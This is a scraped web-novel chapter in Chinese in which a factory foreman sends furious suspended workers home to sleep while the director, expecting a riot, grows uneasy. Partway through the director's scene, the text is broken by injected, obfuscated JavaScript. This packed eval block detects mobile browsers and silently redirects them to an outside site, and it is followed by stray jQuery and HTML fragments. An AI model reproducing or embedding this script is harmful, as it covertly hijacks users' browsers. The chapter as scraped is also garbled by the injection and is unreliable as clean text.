第155章 最漫长的一日

作品:《被儿女冻死后,窝囊老爹重生了

    当周桐从宿舍楼里走出来时,阳光正好。


    清晨的太阳驱散了最后一丝寒意,将金色的光辉慷慨地洒满整个厂区,给冰冷的钢铁建筑镀上了一层虚假的温暖。


    就在一个小时前,这阳光曾让他感到刺骨的冰冷与羞辱;而现在,同样的阳光落在他身上,却仿佛变成了一种无声的介质,让他得以用一种全新的、冷酷的视角,重新审视这个他生活了几十年的世界。


    工厂不再是工厂。


    那些纵横交错的管道,是这个战场的血管。


    那些高低起伏的厂房,是掩体与堡垒。


    而那栋矗立在远方,俯瞰一切的行政大楼,则是敌军的司令部。


    他深吸了一口气,空气中熟悉的煤灰与机油味,此刻竟也变得不同。


    那不再是生活的味道,而是战争的气息。


    他没有回自己的宿舍,而是径直走向了单身职工宿舍楼的后院。


    那里有一片小小的空地,平日里是工人们下工后抽烟、吹牛、打牌的地方。


    他知道,他的兵,此刻一定在那里。


    果然,还未走近,一股压抑的、仿佛随时会**的喧嚣便扑面而来。


    几十个刚刚被“停职反省”的工人,如同被激怒的蜂群,黑压压地**在那片空地上。


    他们没有散去,更没有回家睡觉。


    一夜未眠的疲惫与刚刚遭受的奇耻大辱,在他们身上发酵成一种极度危险的暴躁。


    “就这么算了?老子不服!”


    一个壮硕的钳工,将手里的搪瓷缸子狠狠掼在地上,白色的瓷片四下飞溅,“他王德发算个什么东西!老子们拼死拼活,他动动嘴皮子就把功劳全抹了,还给咱们扣一顶屎盆子!”


    “没错!找他去!咱们几十号人,直接冲进他办公室,我看他敢把我们怎么样!”


    “冲进去干嘛?直接去把封条撕了!炉子里的活儿还没干完呢!天王老子来了也别想拦着!”


    愤怒的情绪如同病毒般迅速传染,每一个人的脸上都写满了不计后果的疯狂。


    他们就像一群被逼到绝路的狼,唯一的念头,就是用最原始的方式,向那个高高在上的猎人,亮出自己的獠牙。


    就在这时,周桐走了过来。


    他的脚步不快,却很稳,每一步都像踩在众人狂乱的心跳上,带着一种奇异的镇定力量。


    “头儿!”


    “周师傅来了!”


    人群像是找到了主心骨,瞬间向他围拢过来。


    那一张张涨红的、扭曲的脸,那一双双燃烧着怒火的眼睛,都在期待着同一个命令一个复仇的、反击的命令。


    “头儿,你发句话!咱们现在就杀过去!”


    “对!你带头,我们都跟你干!”


    他们将他簇拥在中央,仿佛只要他振臂一呼,就能立刻掀翻这座工厂的秩序。


    然而,周桐的反应,却像一桶冰水,浇在了这片沸腾的油锅里。


    他环视四周,那双布满血丝的眼睛里,没有众人期待的怒火,甚至没有一丝一毫的情绪波动。


    那是一种深潭般的平静,平静得令人心悸。


    “都听着。”


    他的声音不大,却清晰地穿透了所有的嘈杂。


    “现在,所有人,立刻解散。”


    整个场面,瞬间死寂。


    工人们脸上的表情凝固了,仿佛不敢相信自己的耳朵。


    他们面面相觑,从彼此的眼中看到了同样的错愕与荒谬。


    “头儿……你说啥?”


    那个摔了搪瓷缸子的钳工,结结巴巴地问道。


    “我说,解散。”


    周桐重复了一遍,语气不容置疑,“回家,洗澡,吃饭。然后,睡觉。”


    死寂之后,是火山般的爆发。


    “睡觉?”


    一个年轻工人尖叫起来,声音因愤怒而变了调,“头儿!你是不是糊涂了?我们的车间被封了!我们的人被停职了!你让我们回去睡觉?”


    “周桐!**是不是怕了!”


    更尖锐的指责随之而来,“王德发给了你什么好处?让你把几十号弟兄的脸面,都扔在地上踩!”


    信任,在这一刻,脆弱得如同一张薄纸。


    那刚刚在炉火前用生命与汗水建立起来的凝聚力,在这道冰冷的、无法理解的命令面前,濒临崩溃。


    他们可以接受失败,但绝不接受投降。


    周桐没有动怒,甚至没有去解释。


    他只是静静地看着那个指责他的人,那目光锐利如刀,仿佛能剖开他的胸膛,直视他内心的想法。


    “我再说最后一遍。”


    他的声音陡然转冷,每一个字都像是从冰窖里捞出来的,“这是命令。”


    他向前踏出一步,那股在炉火前淬炼出的、属于技术权威与战场领袖的气势,轰然迸发。


    “从今天起,你们不仅要学会怎么跟炉子打交道,更要学会怎么闭上嘴,怎么听命令!谁要是觉得委屈,觉得不服,现在就可以滚蛋。我周桐的队伍里,不要蠢货,更不要没脑子的莽夫!”


    这番话,比王德发的封条更加伤人。


    它像一记记响亮的耳光,抽在每一个热血上头的工人脸上。


    人群彻底安静了下来。


    他们被周桐身上那股陌生的、不容抗拒的威压震慑住了。


    他们看着眼前的周桐,感觉他仿佛在短短一个小时内,变成了另一个人。


    那个与他们称兄道弟、一起骂娘的周师傅不见了,取而代之的,是一个冷酷的、说一不二的指挥官。


    “这场仗,怎么打,我说了算。”


    周桐的目光缓缓扫过每一个人,“你们要做的,就是把耳朵竖起来,把脑子里的杂念都给老子清干净!现在,我命令你们,回去,睡觉。养足精神,等我的下一个命令。”


    他没有再给任何人反驳的机会。


    说完,他便拨开人群,头也不回地走了。


    只留下几十个工人,呆立在原地,像一群被缴了械的士兵,在空旷的战场上,茫然失措。


    ……


    与此同时,厂长办公室里。


    王德发端坐在他那张宽大的靠椅上,慢条斯理地品着一杯新沏的龙井。


    上好的茶叶在滚水中舒展开来,清雅的香气弥漫在空气中,让他感到一阵身心舒畅。</


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16394693|183469||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    p>


    他赢了。


    赢得干净利落。


    他就像一个经验丰富的猎人,面对一头冲进自己领地的、不知天高地厚的野兽,没有选择与之角力,而是轻巧地拉动了早就布置好的陷阱。


    那张薄薄的封条,就是最精妙的绞索,不费吹灰之力,就将那头野兽的傲慢与獠牙,牢牢地锁死。


    他甚至能想象出周桐那帮人此刻的丑态。


    他们一定在某个角落里,像一群无头苍蝇般,愤怒地咆哮,却又无计可施。


    或许,他们正在商量着怎么来冲击自己的办公室,或者上演一出集体**的闹剧。


    想到这里,王德发的嘴角,不禁勾起一抹轻蔑的冷笑。


    来吧。


    你们闹得越大,错得就越离谱。


    你们越是反抗,我手里的刀,就握得越稳。


    他惬意地靠在椅背上,闭上眼睛,静静地等待着。


    他在等下属的报告,等那群泥腿子犯下更愚蠢的错误。


    他也在等周桐,等那个被他打断了脊梁的“将军”,最终低着头,走进这间办公室,递上那份写满忏悔与屈服的检讨书。


    然而,时间一分一秒地过去。


    办公室里,只有墙上挂钟单调的“滴答”声。


    他预想中的喧哗与骚乱,迟迟没有传来。


    “厂长。”


    秘书敲门进来,神色有些古怪。


    “怎么样?那帮人闹起来了?”


    王德发睁开眼,语气中带着一丝不易察觉的期待。


    “没有。”


    秘书摇了摇头,“他们……都散了。”


    “散了?”


    王德发眉头一皱,“去哪了?”


    “好像……都回宿舍了。”


    秘书的语气更加古怪,“保卫科的人说,周桐把他们训斥了一顿,然后就让他们都回去睡觉了。”


    王德发端着茶杯的手,在半空中停住了。


    睡觉?


    这个词,像一根细小的针,扎进了他胜利的喜悦之中,带来一丝微不足道的、却又无法忽视的刺痛。


    这不对。


    这不符合常理。


    一群刚刚被当众羞辱、打入谷底的人,一群血气方刚的工人,他们的反应不该是睡觉。


    他们应该愤怒,应该反抗,应该用最愚蠢的方式,来宣泄他们的不甘。


    这片死寂,比任何激烈的反抗,都更让他感到不安。


    他就像一个用尽全力挥出一拳的拳手,却打在了一团棉花上。


    那种巨大的落差感,让他的胜利,显得如此空洞而滑稽。


    一种莫名的烦躁,开始在他心底滋生。


    他放下茶杯,站起身,在办公室里来回踱步。


    窗外的阳光,不知为何,看起来有些刺眼。


    他感觉,自己好像忽略了什么。


    那片异乎寻常的寂静背后,仿佛有一双看不见的眼睛,正在某个阴暗的角落里,冷冷地注视着他。


    猎人布下了陷阱,却没有听到猎物的哀嚎。


    这让他第一次开始怀疑,自己究竟是猎人,还是另一个踏入了别人陷阱的猎物。